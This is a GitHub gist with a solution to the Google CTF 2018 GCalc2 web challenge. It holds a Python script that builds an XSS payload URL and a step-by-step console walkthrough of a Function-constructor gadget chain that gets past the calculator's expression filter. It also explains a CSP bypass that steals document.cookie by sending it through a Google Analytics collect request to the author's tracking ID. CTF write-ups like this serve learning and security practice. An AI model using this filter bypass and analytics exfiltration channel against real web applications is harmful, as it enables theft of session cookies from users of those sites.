Skip to content

Instantly share code, notes, and snippets.

@beched
Last active June 27, 2018 01:04
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save beched/10e7bff65e75663fa73b4e46ea20c600 to your computer and use it in GitHub Desktop.
Save beched/10e7bff65e75663fa73b4e46ea20c600 to your computer and use it in GitHub Desktop.
Google CTF 2018 Quals: GCalc2 web task solution
from urllib import quote_plus
ga_tid = 'UA-***-1' # put your GA id here
url = 'https://gcalc2.web.ctfcompetition.com/'
url += r'?expr=vars.pi.constructor.name.constructor.constructor(vars.pi.constructor.name.match().constructor(vars).keys().constructor.keys(vars).pop())()&vars=%7B%22pi%22:1.0,%22'
url += quote_plus('''
script = document.createElement('script');script.src='https://www.google-analytics.com/collect?v=1&tid=%s&cid='+Math.random()+'&t=event&ec=email&el='+Math.random()+'&cs=newsletter&cm=email&cn='+document.cookie+'&cm1=1&ea=test';document.head.appendChild(script);
'''.replace('"', '\\"').replace('\n','') % ga_tid)
url += r'%22:1%7D'
print url
The application implements client-side "calculator". You can also submit calculation requests to the flag bot.
Requests consist of 1) expression, 2) input vars JSON array.
Essential parts of the solution are as follows:
1) The expressions are executed by the following function:
function p(a, b) {
a = String(a).toLowerCase();
b = String(b);
if (!/^(?:[\(\)\*\/\+%\-0-9 ]|\bvars\b|[.]\w+)*$/.test(a)) throw Error(a);
b = JSON.parse(b, function(a, b) {
if (b && "object" === typeof b && !Array.isArray(b)) return Object.assign(Object.create(null), b);
if ("number" === typeof b) return b
});
return (new Function("vars", "return " + a))(b)
}
You should use a limited alphabet to execute a JS payload.
The payload from my exploit can be broken down the following way:
> vars={"pi":3,"return 31337":0}
{pi: 3, return 31337: 0}
> vars.pi.constructor.name.constructor.constructor
ƒ Function() { [native code] }
> vars.pi.constructor.name
"Number"
> vars.pi.constructor.name.match()
["", index: 0, input: "Number", groups: undefined]
> vars.pi.constructor.name.match().constructor(vars)
[{…}]
> vars.pi.constructor.name.match().constructor(vars).keys().constructor
ƒ Object() { [native code] }
> vars.pi.constructor.name.match().constructor(vars).keys().constructor.keys(vars)
(2) ["pi", "return 31337"]
> vars.pi.constructor.name.match().constructor(vars).keys().constructor.keys(vars).pop()
"return 31337"
> vars.pi.constructor.name.constructor.constructor(vars.pi.constructor.name.match().constructor(vars).keys().constructor.keys(vars).pop())()
31337
2) We should also bypass CSP.
https://gcalc2.web.ctfcompetition.com/ loads https://sandbox-gcalc2.web.ctfcompetition.com/static/calc.html in sandboxed iframe ("allow-scripts allow-modals allow-same-origin").
Sandbox sends the following header:
Content-security-policy: default-src 'self'; frame-ancestors https://gcalc2.web.ctfcompetition.com/; font-src https://fonts.gstatic.com; style-src 'self' https://*.googleapis.com 'unsafe-inline'; script-src 'self' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.google-analytics.com https://*.googleapis.com 'unsafe-eval' https://www.googletagmanager.com; child-src https://www.google.com/recaptcha/; img-src https://www.google-analytics.com;
Meaning, we can execute inline scripts, but there's no straightforward way to exfiltrate data. Appended meta-tag with a new CSP doesn't help.
But we can actually use Google Analytics to "collect user data" and exfiltrate the cookie which contains the flag:
CTF{1+1=alert}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment